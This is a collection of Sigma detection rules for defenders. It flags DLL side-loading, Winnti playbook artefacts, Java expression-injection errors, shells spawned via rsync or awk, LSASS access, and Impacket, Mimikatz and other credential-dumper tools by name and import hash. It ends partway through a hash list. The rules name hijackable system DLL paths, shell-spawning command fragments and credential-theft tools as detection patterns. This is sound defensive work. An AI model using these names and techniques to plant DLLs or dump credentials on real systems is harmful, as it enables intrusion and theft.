title: Potential JLI.dll Side-Loading
id: 7a3b6d1f-4a2b-4f8c-9d7e-e9f8cbf21a35
status: experimental
description: |
    Detects potential DLL side-loading of jli.dll.
    JLI.dll has been observed being side-loaded by Java processes by various threat actors, including APT41, XWorm,
    and others in order to load malicious payloads in context of legitimate Java processes.
references:
    - https://securelist.com/apt41-in-africa/116986/
    - https://lab52.io/blog/snake-keylogger-in-geopolitical-affairs-abuse-of-trusted-java-utilities-in-cybercrime-operations/
    - https://hijacklibs.net/entries/3rd_party/oracle/jli.html
    - https://www.proofpoint.com/us/blog/threat-insight/phish-china-aligned-espionage-actors-ramp-up-taiwan-semiconductor-targeting
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-07-25
modified: 2025-10-06
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith: '\jli.dll'
    filter_main_legitimate_install_paths:
        ImageLoaded|startswith:
            # Keeping the paths generic as jli.dll was found inside various directories of installed software
            - 'C:\Program Files\'
            - 'C:\Program Files (x86)\'
        Description: 'OpenJDK Platform binary'
        OriginalFileName: 'jli.dll'
        Product|startswith: 'OpenJDK Platform'
        Signed: 'true'
    filter_optional_eclipse:
        ImageLoaded|startswith: 'C:\eclipse\plugins\'
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Unknown
level: high

title: Potential Winnti Dropper Activity
id: 130c9e58-28ac-4f83-8574-0a4cc913b97e
status: test
description: Detects files dropped by Winnti as described in RedMimicry Winnti playbook
references:
    - https://redmimicry.com/posts/redmimicry-winnti/#dropper
author: Alexander Rausch
date: 2020-06-24
modified: 2023-01-05
tags:
    - attack.stealth
    - attack.t1027
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - '\gthread-3.6.dll'
            - '\sigcmm-2.4.dll'
            - '\Windows\Temp\tmp.bat'
    condition: selection
falsepositives:
    - Unknown
level: high

title: HackTool - RedMimicry Winnti Playbook Execution
id: 95022b85-ff2a-49fa-939a-d7b8f56eeb9b
status: test
description: Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility
references:
    - https://redmimicry.com/posts/redmimicry-winnti/
author: Alexander Rausch
date: 2020-06-24
modified: 2023-03-01
tags:
    - attack.execution
    - attack.stealth
    - attack.t1106
    - attack.t1059.003
    - attack.t1218.011
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        Image|endswith:
            - '\rundll32.exe'
            - '\cmd.exe'
        CommandLine|contains:
            - 'gthread-3.6.dll'
            - '\Windows\Temp\tmp.bat'
            - 'sigcmm-2.4.dll'
    condition: selection
falsepositives:
    - Unknown
level: high

title: RedMimicry Winnti Playbook Registry Manipulation
id: 5b175490-b652-4b02-b1de-5b5b4083c5f8
status: test
description: Detects actions caused by the RedMimicry Winnti playbook
references:
    - https://redmimicry.com
author: Alexander Rausch
date: 2020-06-24
modified: 2021-11-27
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    product: windows
    category: registry_event
detection:
    selection:
        TargetObject|contains: HKLM\SOFTWARE\Microsoft\HTMLHelp\data
    condition: selection
falsepositives:
    - Unknown
level: high

title: Potential OGNL Injection Exploitation In JVM Based Application
id: 4d0af518-828e-4a04-a751-a7d03f3046ad
status: test
description: |
    Detects potential OGNL Injection exploitation, which may lead to RCE.
    OGNL is an expression language that is supported in many JVM based systems.
    OGNL Injection is the reason for some high profile RCE's such as Apache Struts (CVE-2017-5638) and Confluence (CVE-2022-26134)
references:
    - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
author: Moti Harmats
date: 2023-02-11
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2017-5638
    - cve.2022-26134
logsource:
    category: application
    product: jvm
    definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'
detection:
    keywords:
        - 'org.apache.commons.ognl.OgnlException'
        - 'ExpressionSyntaxException'
    condition: keywords
falsepositives:
    - Application bugs
level: high

title: Potential Server Side Template Injection In Velocity
id: 16c86189-b556-4ee8-b4c7-7e350a195a4f
status: test
description: Detects exceptions in velocity template renderer, this most likely happens due to dynamic rendering of user input and may lead to RCE.
references:
    - https://antgarsil.github.io/posts/velocity/
    - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
author: Moti Harmats
date: 2023-02-11
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: velocity
    definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'
detection:
    keywords:
        - 'ParseErrorException'
        - 'VelocityException'
        - 'TemplateInitException'
    condition: keywords
falsepositives:
    - Application bugs
    - Missing .vm files
level: high

title: Potential SpEL Injection In Spring Framework
id: e9edd087-89d8-48c9-b0b4-5b9bb10896b8
status: test
description: Detects potential SpEL Injection exploitation, which may lead to RCE.
references:
    - https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
    - https://www.wix.engineering/post/threat-and-vulnerability-hunting-with-application-server-error-logs
author: Moti Harmats
date: 2023-02-11
tags:
    - attack.initial-access
    - attack.t1190
logsource:
    category: application
    product: spring
    definition: 'Requirements: application error logs must be collected (with LOG_LEVEL=ERROR and above)'
detection:
    keywords:
        - 'org.springframework.expression.ExpressionException'
    condition: keywords
falsepositives:
    - Application bugs
level: high

title: Suspicious Invocation of Shell via Rsync
id: 297241f3-8108-4b3a-8c15-2dda9f844594
status: experimental
description: |
    Detects the execution of a shell as sub process of "rsync" without the expected command line flag "-e" being used, which could be an indication of exploitation as described in CVE-2024-12084. This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.
references:
    - https://sysdig.com/blog/detecting-and-mitigating-cve-2024-12084-rsync-remote-code-execution/
    - https://gist.github.com/Neo23x0/a20436375a1e26524931dd8ea1a3af10
author: Florian Roth
date: 2025-01-18
tags:
    - attack.execution
    - attack.t1059
    - attack.t1203
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith:
            - '/rsync'
            - '/rsyncd'
        Image|endswith:
            - '/ash'
            - '/bash'
            - '/csh'
            - '/dash'
            - '/ksh'
            - '/sh'
            - '/tcsh'
            - '/zsh'
    filter_main_expected:
        CommandLine|contains: ' -e '
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: Suspicious Invocation of Shell via AWK - Linux
id: 8c1a5675-cb85-452f-a298-b01b22a51856
status: test
description: |
    Detects the execution of "awk" or it's sibling commands, to invoke a shell using the system() function.
    This behavior is commonly associated with attempts to execute arbitrary commands or escalate privileges, potentially leading to unauthorized access or further exploitation.
references:
    - https://gtfobins.github.io/gtfobins/awk/#shell
    - https://gtfobins.github.io/gtfobins/gawk/#shell
    - https://gtfobins.github.io/gtfobins/nawk/#shell
    - https://gtfobins.github.io/gtfobins/mawk/#shell
author: Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)
date: 2024-09-02
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith:
            - '/awk'
            - '/gawk'
            - '/mawk'
            - '/nawk'
        CommandLine|contains: 'BEGIN {system'
    selection_cli:
        CommandLine|contains:
            - '/bin/bash'
            - '/bin/dash'
            - '/bin/fish'
            - '/bin/sh'
            - '/bin/zsh'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Potential Startup Shortcut Persistence Via PowerShell.EXE
id: 92fa78e7-4d39-45f1-91a3-8b23f3f1088d
status: test
description: |
    Detects PowerShell writing startup shortcuts.
    This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.
    Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.
    In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"
references:
    - https://redcanary.com/blog/intelligence-insights-october-2021/
    - https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder
author: Christopher Peacock '@securepeacock', SCYTHE
date: 2021-10-24
modified: 2023-02-23
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
        TargetFilename|contains: '\start menu\programs\startup\'
        TargetFilename|endswith: '.lnk'
    condition: selection
falsepositives:
    - Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware.
level: high

title: Password Dumper Remote Thread in LSASS
id: f239b326-2f41-4d6b-9dfa-c846a60ef505
status: stable
description: |
    Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.
    The process in field Process is the malicious program. A single execution can lead to hundreds of events.
references:
    - https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm
author: Thomas Patzke
date: 2017-02-19
modified: 2021-06-21
tags:
    - attack.credential-access
    - attack.s0005
    - attack.t1003.001
logsource:
    product: windows
    category: create_remote_thread
detection:
    selection:
        TargetImage|endswith: '\lsass.exe'
        StartModule: ''
    condition: selection
falsepositives:
    - Antivirus products
level: high

title: HackTool - Impacket Tools Execution
id: 4627c6ae-6899-46e2-aa0c-6ebcb1becd19
status: test
description: Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)
references:
    - https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries
author: Florian Roth (Nextron Systems)
date: 2021-07-24
modified: 2023-02-07
tags:
    - attack.collection
    - attack.execution
    - attack.credential-access
    - attack.t1557.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|contains:
              - '\goldenPac'
              - '\karmaSMB'
              - '\kintercept'
              - '\ntlmrelayx'
              - '\rpcdump'
              - '\samrdump'
              - '\secretsdump'
              - '\smbexec'
              - '\smbrelayx'
              - '\wmiexec'
              - '\wmipersist'
        - Image|endswith:
              - '\atexec_windows.exe'
              - '\dcomexec_windows.exe'
              - '\dpapi_windows.exe'
              - '\findDelegation_windows.exe'
              - '\GetADUsers_windows.exe'
              - '\GetNPUsers_windows.exe'
              - '\getPac_windows.exe'
              - '\getST_windows.exe'
              - '\getTGT_windows.exe'
              - '\GetUserSPNs_windows.exe'
              - '\ifmap_windows.exe'
              - '\mimikatz_windows.exe'
              - '\netview_windows.exe'
              - '\nmapAnswerMachine_windows.exe'
              - '\opdump_windows.exe'
              - '\psexec_windows.exe'
              - '\rdp_check_windows.exe'
              - '\sambaPipe_windows.exe'
              - '\smbclient_windows.exe'
              - '\smbserver_windows.exe'
              - '\sniff_windows.exe'
              - '\sniffer_windows.exe'
              - '\split_windows.exe'
              - '\ticketer_windows.exe'
              # - '\addcomputer_windows.exe'
              # - '\esentutl_windows.exe'
              # - '\getArch_windows.exe'
              # - '\lookupsid_windows.exe'
              # - '\mqtt_check_windows.exe'
              # - '\mssqlclient_windows.exe'
              # - '\mssqlinstance_windows.exe'
              # - '\ntfs-read_windows.exe'
              # - '\ping_windows.exe'
              # - '\ping6_windows.exe'
              # - '\raiseChild_windows.exe'
              # - '\reg_windows.exe'
              # - '\registry-read_windows.exe'
              # - '\services_windows.exe'
              # - '\wmiquery_windows.exe'
    condition: selection
falsepositives:
    - Legitimate use of the impacket tools
level: high

title: MSHTA Execution with Suspicious File Extensions
id: cc7abbd0-762b-41e3-8a26-57ad50d2eea3
status: test
description: |
    Detects execution of mshta.exe with file types that looks like they do not typically represent HTA (HTML Application) content,
    such as .png, .jpg, .zip, .pdf, and others, which are often polyglots. MSHTA is a legitimate Windows utility for executing HTML Applications
    containing VBScript or JScript. Threat actors often abuse this lolbin utility to download and
    execute malicious scripts disguised as benign files or hosted under misleading extensions to evade detection.
references:
    - http://blog.sevagas.com/?Hacking-around-HTA-files
    - https://0x00sec.org/t/clientside-exploitation-in-2018-how-pentesting-has-changed/7356
    - https://learn.microsoft.com/en-us/previous-versions/dotnet/framework/data/xml/xslt/xslt-stylesheet-scripting-using-msxsl-script
    - https://medium.com/tsscyber/pentesting-and-hta-bypassing-powershell-constrained-language-mode-53a42856c997
    - https://twitter.com/mattifestation/status/1326228491302563846
    - https://www.virustotal.com/gui/file/c1f27d9795a2eba630db8a043580a0761798f06370fb1317067805f8a845b00c
author: Diego Perez (@darkquassar), Markus Neis, Swisscom (Improve Rule), Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2019-02-22
modified: 2025-05-12
tags:
    - attack.stealth
    - attack.t1140
    - attack.t1218.005
    - attack.execution
    - attack.t1059.007
    - cve.2020-1599
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\mshta.exe'
        - OriginalFileName: 'mshta.exe'
    selection_cli:
        CommandLine|contains:
            - '.7z'
            - '.avi'
            - '.bat'
            - '.bmp'
            - '.conf'
            - '.csv'
            - '.dll'
            - '.doc'
            - '.gif'
            - '.gz'
            - '.ini'
            - '.jpe'
            - '.jpg'
            - '.json'
            - '.lnk'
            - '.log'
            - '.mkv'
            - '.mp3'
            - '.mp4'
            - '.pdf'
            - '.png'
            - '.ppt'
            - '.rar'
            - '.rtf'
            - '.svg'
            - '.tar'
            - '.tmp'
            - '.txt'
            - '.xls'
            - '.xml'
            - '.yaml'
            - '.yml'
            - '.zip'
            - 'vbscript'
            # - '.chm'  # could be prone to false positives
            # - '.exe'
    condition: all of selection_*
falsepositives:
    - False positives depend on scripts and administrative tools used in the monitored environment
level: high

title: Potential DLL Sideloading Of Non-Existent DLLs From System Folders
id: 6b98b92b-4f00-4f62-b4fe-4d1920215771
related:
    - id: df6ecb8b-7822-4f4b-b412-08f524b4576c # FileEvent rule
      type: similar
    - id: 602a1f13-c640-4d73-b053-be9a2fa58b77
      type: obsolete
status: test
description: |
    Detects loading of specific system DLL files that are usually not present on the system (or at least not in system directories) but may be loaded by legitimate processes, potentially indicating phantom DLL hijacking attempts.
    Phantom DLL hijacking involves placing malicious DLLs with names of non-existent system binaries in locations where legitimate applications may search for them, leading to execution of the malicious DLLs.
references:
    - http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
    - https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/
    - https://decoded.avast.io/martinchlumecky/png-steganography/
    - https://github.com/Wh04m1001/SysmonEoP
    - https://itm4n.github.io/cdpsvc-dll-hijacking/
    - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
    - https://securelist.com/passiveneuron-campaign-with-apt-implants-and-cobalt-strike/117745/
    - https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/
    - https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
    - https://www.hexacorn.com/blog/2025/06/14/wermgr-exe-boot-offdmpsvc-dll-lolbin/
    - https://www.hexacorn.com/blog/2025/06/14/wpr-exe-boottrace-phantom-dll-axeonoffhelper-dll-lolbin/
    - https://x.com/0gtweet/status/1564131230941122561
author: Nasreddine Bencherchali (Nextron Systems), SBousseaden
date: 2022-12-09
modified: 2026-01-24
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith:
            # Add other DLLs
            - ':\Windows\System32\axeonoffhelper.dll'
            - ':\Windows\System32\cdpsgshims.dll'
            - ':\Windows\System32\oci.dll'
            - ':\Windows\System32\offdmpsvc.dll'
            - ':\Windows\System32\shellchromeapi.dll'
            - ':\Windows\System32\TSMSISrv.dll'
            - ':\Windows\System32\TSVIPSrv.dll'
            - ':\Windows\System32\wbem\wbemcomn.dll'
            - ':\Windows\System32\WLBSCTRL.dll'
            - ':\Windows\System32\wow64log.dll'
            - ':\Windows\System32\WptsExtensions.dll'
    filter_main_ms_signed:
        Signed: 'true'
        SignatureStatus: 'Valid'
        # There could be other signatures (please add when found)
        Signature: 'Microsoft Windows'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unknown
level: high

title: AWS Key Pair Import Activity
id: 92f84194-8d9a-4ee0-8699-c30bfac59780
status: experimental
description: |
    Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.
references:
    - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportKeyPair.html
author: Ivan Saakov
date: 2024-12-19
tags:
    - attack.initial-access
    - attack.stealth
    - attack.t1078
    - attack.persistence
    - attack.privilege-escalation
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventSource: 'ec2.amazonaws.com'
        eventName: 'ImportKeyPair'
    condition: selection
falsepositives:
    - Legitimate administrative actions by authorized users importing keys for valid purposes.
    - Automated processes for infrastructure setup may trigger this alert.
    - Verify the user identity, user agent, and source IP address to ensure they are expected.
level: medium

title: Creation Of Non-Existent System DLL
id: df6ecb8b-7822-4f4b-b412-08f524b4576c
related:
    - id: 6b98b92b-4f00-4f62-b4fe-4d1920215771 # ImageLoad rule
      type: similar
status: test
description: |
    Detects creation of specific system DLL files that are  usually not present on the system (or at least not in system directories) but may be loaded by legitimate processes.
    Phantom DLL hijacking involves placing malicious DLLs with names of non-existent system binaries in locations where legitimate applications may search for them, leading to execution of the malicious DLLs.
    Thus, the creation of such DLLs may indicate preparation for phantom DLL hijacking attacks.
references:
    - http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
    - https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/
    - https://decoded.avast.io/martinchlumecky/png-steganography/
    - https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc
    - https://github.com/Wh04m1001/SysmonEoP
    - https://itm4n.github.io/cdpsvc-dll-hijacking/
    - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
    - https://securelist.com/passiveneuron-campaign-with-apt-implants-and-cobalt-strike/117745/
    - https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/
    - https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
    - https://www.hexacorn.com/blog/2025/06/14/wermgr-exe-boot-offdmpsvc-dll-lolbin/
    - https://www.hexacorn.com/blog/2025/06/14/wpr-exe-boottrace-phantom-dll-axeonoffhelper-dll-lolbin/
    - https://x.com/0gtweet/status/1564131230941122561
author: Nasreddine Bencherchali (Nextron Systems), fornotes
date: 2022-12-01
modified: 2026-01-24
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - ':\Windows\System32\axeonoffhelper.dll'
            - ':\Windows\System32\cdpsgshims.dll'
            - ':\Windows\System32\oci.dll'
            - ':\Windows\System32\offdmpsvc.dll'
            - ':\Windows\System32\shellchromeapi.dll'
            - ':\Windows\System32\TSMSISrv.dll'
            - ':\Windows\System32\TSVIPSrv.dll'
            - ':\Windows\System32\wbem\wbemcomn.dll'
            - ':\Windows\System32\WLBSCTRL.dll'
            - ':\Windows\System32\wow64log.dll'
            - ':\Windows\System32\WptsExtensions.dll'
            - '\SprintCSP.dll'
    condition: selection
falsepositives:
    - Unknown
level: medium
regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_create_non_existent_dlls/info.yml

title: GitHub Repository Pages Site Changed to Public
id: 0c46d4f4-a2bf-4104-9597-8d653fc2bb55
status: experimental
description: |
    Detects when a GitHub Pages site of a repository is made public. This usually is part of a publishing process but could indicate or lead to potential unauthorized exposure of sensitive information or code.
references:
    - https://docs.github.com/en/pages/getting-started-with-github-pages/creating-a-github-pages-site
    - https://www.sentinelone.com/blog/exploiting-repos-6-ways-threat-actors-abuse-github-other-devops-platforms
    - https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/security-log-events
author: Ivan Saakov
date: 2025-10-18
tags:
    - attack.collection
    - attack.exfiltration
    - attack.t1567.001
logsource:
    product: github
    service: audit
detection:
    selection:
        action: 'repo.pages_public'
    condition: selection
falsepositives:
    - Legitimate publishing of repository pages by authorized users
level: low

title: Replace Desktop Wallpaper by Powershell
id: c5ac6a1e-9407-45f5-a0ce-ca9a0806a287
status: test
description: |
    An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users.
    This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1491.001/T1491.001.md
author: frack113
date: 2021-12-26
tags:
    - attack.impact
    - attack.t1491.001
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_1:
        ScriptBlockText|contains|all:
            - 'Get-ItemProperty'
            - 'Registry::'
            - 'HKEY_CURRENT_USER\Control Panel\Desktop\'
            - 'WallPaper'
    selection_2:
        ScriptBlockText|contains: SystemParametersInfo(20,0,*,3)
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: low

title: Antivirus Password Dumper Detection
id: 78cc2dd2-7d20-4d32-93ff-057084c38b93
status: stable
description: |
    Detects a highly relevant Antivirus alert that reports a password dumper.
    This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place.
references:
    - https://www.nextron-systems.com/?s=antivirus
    - https://www.virustotal.com/gui/file/5fcda49ee7f202559a6cbbb34edb65c33c9a1e0bde9fa2af06a6f11b55ded619
    - https://www.virustotal.com/gui/file/a4edfbd42595d5bddb442c82a02cf0aaa10893c1bf79ea08b9ce576f82749448
author: Florian Roth (Nextron Systems), Arnim Rupp
date: 2018-09-09
modified: 2024-11-02
tags:
    - attack.credential-access
    - attack.t1003
    - attack.t1558
    - attack.t1003.001
    - attack.t1003.002
logsource:
    category: antivirus
detection:
    selection:
        - Signature|startswith: 'PWS'
        - Signature|contains:
              - 'Certify'
              - 'DCSync'
              - 'DumpCreds'
              - 'DumpLsass'
              - 'DumpPert'
              - 'HTool/WCE'
              - 'Kekeo'
              - 'Lazagne'
              - 'LsassDump'
              - 'Mimikatz'
              - 'MultiDump'
              - 'Nanodump'
              - 'NativeDump'
              - 'Outflank'
              - 'PShlSpy'
              - 'PSWTool'
              - 'PWCrack'
              - 'PWDump'
              - 'PWS.'
              - 'PWSX'
              - 'pypykatz'
              - 'Rubeus'
              - 'SafetyKatz'
              - 'SecurityTool'
              - 'SharpChrome'
              - 'SharpDPAPI'
              - 'SharpDump'
              - 'SharpKatz'
              - 'SharpS.' # Sharpsploit, e.g. 530ea2ff9049f5dfdfa0a2e9c27c2e3c0685eb6cbdf85370c20a7bfae49f592d
              - 'ShpKatz'
              - 'TrickDump'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: Hacktool Execution - Imphash
id: 24e3e58a-646b-4b50-adef-02ef935b9fc8
status: test
description: Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed
references:
    - Internal Research
author: Florian Roth (Nextron Systems)
date: 2022-03-04
modified: 2024-11-23
tags:
    - attack.credential-access
    - attack.resource-development
    - attack.t1588.002
    - attack.t1003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Hashes|contains: # Sysmon field hashes contains all types
            - IMPHASH=BCCA3C247B619DCD13C8CDFF5F123932 # PetitPotam
            - IMPHASH=3A19059BD7688CB88E70005F18EFC439 # PetitPotam
            - IMPHASH=bf6223a49e45d99094406777eb6004ba # PetitPotam
            - IMPHASH=23867A89C2B8FC733BE6CF5EF902F2D1 # JuicyPotato
            - IMPHASH=A37FF327F8D48E8A4D2F757E1B6E70BC # JuicyPotato
            - IMPHASH=F9A28C458284584A93B14216308D31BD # JuicyPotatoNG
            - IMPHASH=6118619783FC175BC7EBECFF0769B46E # RoguePotato
            - IMPHASH=959A83047E80AB68B368FDB3F4C6E4EA # RoguePotato
            - IMPHASH=563233BFA169ACC7892451F71AD5850A # RoguePotato
            - IMPHASH=87575CB7A0E0700EB37F2E3668671A08 # RoguePotato
            - IMPHASH=13F08707F759AF6003837A150A371BA1 # Pwdump
            - IMPHASH=1781F06048A7E58B323F0B9259BE798B # Pwdump
            - IMPHASH=233F85F2D4BC9D6521A6CAAE11A1E7F5 # Pwdump
            - IMPHASH=24AF2584CBF4D60BBE5C6D1B31B3BE6D # Pwdump
            - IMPHASH=632969DDF6DBF4E0F53424B75E4B91F2 # Pwdump
            - IMPHASH=713C29B396B907ED71A72482759ED757 # Pwdump
            - IMPHASH=749A7BB1F0B4C4455949C0B2BF7F9E9F # Pwdump
            - IMPHASH=8628B2608957A6B0C6330AC3DE28CE2E # Pwdump
            - IMPHASH=8B114550386E31895DFAB371E741123D # Pwdump
            - IMPHASH=94CB940A1A6B65BED4D5A8F849CE9793 # PwDumpX
            - IMPHASH=9D68781980370E00E0BD939EE5E6C141 # Pwdump
            - IMPHASH=B18A1401FF8F444056D29450FBC0A6CE # Pwdump
            - IMPHASH=CB567F9498452721D77A451374955F5F # Pwdump
            - IMPHASH=730073214094CD328547BF1F72289752 # Htran
            - IMPHASH=17B461A082950FC6332228572138B80C # Cobalt Strike beacons
            - IMPHASH=DC25EE78E2EF4D36FAA0BADF1E7461C9 # Cobalt Strike beacons
            - IMPHASH=819B19D53CA6736448F9325A85736792 # Cobalt Strike beacons
            - IMPHASH=829DA329CE140D873B4A8BDE2CBFAA7E # Cobalt Strike beacons
            - IMPHASH=C547F2E66061A8DFFB6F5A3FF63C0A74 # PPLDump
            - IMPHASH=0588081AB0E63BA785938467E1B10CCA # PPLDump
            - IMPHASH=0D9EC08BAC6C07D9987DFD0F1506587C # NanoDump
            - IMPHASH=BC129092B71C89B4D4C8CDF8EA590B29 # NanoDump
            - IMPHASH=4DA924CF622D039D58BCE71CDF05D242 # NanoDump
            - IMPHASH=E7A3A5C377E2D29324093377D7DB1C66 # NanoDump
            - IMPHASH=9A9DBEC5C62F0380B4FA5FD31DEFFEDF # NanoDump
            - IMPHASH=AF8A3976AD71E5D5FDFB67DDB8DADFCE # NanoDump
            - IMPHASH=0C477898BBF137BBD6F2A54E3B805FF4 # NanoDump
            - IMPHASH=0CA9F02B537BCEA20D4EA5EB1A9FE338 # NanoDump
            - IMPHASH=3AB3655E5A14D4EEFC547F4781BF7F9E # NanoDump
            - IMPHASH=E6F9D5152DA699934B30DAAB206471F6 # NanoDump
            - IMPHASH=3AD59991CCF1D67339B319B15A41B35D # NanoDump
            - IMPHASH=FFDD59E0318B85A3E480874D9796D872 # NanoDump
            - IMPHASH=0CF479628D7CC1EA25EC7998A92F5051 # NanoDump
            - IMPHASH=07A2D4DCBD6CB2C6A45E6B101F0B6D51 # NanoDump
            - IMPHASH=D6D0F80386E1380D05CB78E871BC72B1 # NanoDump
            - IMPHASH=38D9E015591BBFD4929E0D0F47FA0055 # HandleKatz
            - IMPHASH=0E2216679CA6E1094D63322E3412D650 # HandleKatz
            - IMPHASH=ADA161BF41B8E5E9132858CB54CAB5FB # DripLoader
            - IMPHASH=2A1BC4913CD5ECB0434DF07CB675B798 # DripLoader
            - IMPHASH=11083E75553BAAE21DC89CE8F9A195E4 # DripLoader
            - IMPHASH=A23D29C9E566F2FA8FFBB79267F5DF80 # DripLoader
            - IMPHASH=4A07F944A83E8A7C2525EFA35DD30E2F # CreateMiniDump
            - IMPHASH=767637C23BB42CD5D7397CF58B0BE688 # UACMe Akagi
            - IMPHASH=14C4E4C72BA075E9069EE67F39188AD8 # UACMe Akagi
            - IMPHASH=3C782813D4AFCE07BBFC5A9772ACDBDC # UACMe Akagi
            - IMPHASH=7D010C6BB6A3726F327F7E239166D127 # UACMe Akagi
            - IMPHASH=89159BA4DD04E4CE5559F132A9964EB3 # UACMe Akagi
            - IMPHASH=6F33F4A5FC42B8CEC7314947BD13F30F # UACMe Akagi
            - IMPHASH=5834ED4291BDEB928270428EBBAF7604 # UACMe Akagi
            - IMPHASH=5A8A8A43F25485E7EE1B201EDCBC7A38 # UACMe Akagi
            - IMPHASH=DC7D30B90B2D8ABF664FBED2B1B59894 # UACMe Akagi
            - IMPHASH=41923EA1F824FE63EA5BEB84DB7A3E74 # UACMe Akagi
            - IMPHASH=3DE09703C8E79ED2CA3F01074719906B # UACMe Akagi
            - IMPHASH=A53A02B997935FD8EEDCB5F7ABAB9B9F # WCE
            - IMPHASH=E96A73C7BF33A464C510EDE582318BF2 # WCE
            - IMPHASH=32089B8851BBF8BC2D014E9F37288C83 # Sliver Stagers
            - IMPHASH=09D278F9DE118EF09163C6140255C690 # Dumpert
            - IMPHASH=03866661686829d806989e2fc5a72606 # Dumpert
            - IMPHASH=e57401fbdadcd4571ff385ab82bd5d6d # Dumpert
            - IMPHASH=84B763C45C0E4A3E7CA5548C710DB4EE # SysmonEnte
            - IMPHASH=19584675D94829987952432E018D5056 # SysmonQuiet
            - IMPHASH=330768A4F172E10ACB6287B87289D83B # ShaprEvtMute Hook
            - IMPHASH=885C99CCFBE77D1CBFCB9C4E7C1A3313 # Forkatz
            - IMPHASH=22A22BC9E4E0D2F189F1EA01748816AC # PPLKiller
            - IMPHASH=7FA30E6BB7E8E8A69155636E50BF1B28 # PPLKiller
            - IMPHASH=96DF3A3731912449521F6F8D183279B1 # Backstab
            - IMPHASH=7E6CF3FF4576581271AC8A313B2AAB46 # Backstab
            - IMPHASH=51791678F351C03A0EB4E2A7B05C6E17 # Backstab
